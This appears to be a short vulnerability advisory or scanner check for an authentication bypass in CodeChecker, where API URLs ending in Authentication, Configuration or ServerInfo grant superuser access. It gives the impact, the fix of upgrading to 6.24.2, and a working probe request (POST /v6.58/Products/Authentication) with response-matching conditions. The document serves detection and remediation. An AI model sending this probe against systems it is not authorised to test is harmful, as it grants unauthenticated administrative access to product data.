Readycheck to confirm it

Authentication bypass occurs when the API URL ends with Authentication, Configuration or ServerInfo. This bypass allows superuser access to all API endpoints other than Authentication. These endpoints include the ability to add, edit, and remove products, among others.

Impact

Unauthenticated attackers can bypass authentication by crafting API URLs ending with specific keywords, gaining superuser access to all API endpoints including product management and configuration.

Fix

Upgrade CodeChecker to version 6.24.2 or later.

How to confirm it

Send: POST /v6.58/Products/Authentication
Positive when: contains(body,"{\"0\":{\"lst\":[\"rec\",") and !contains(body,'Error code 401: Unauthorized') and contains(header,'application/x-thrift')
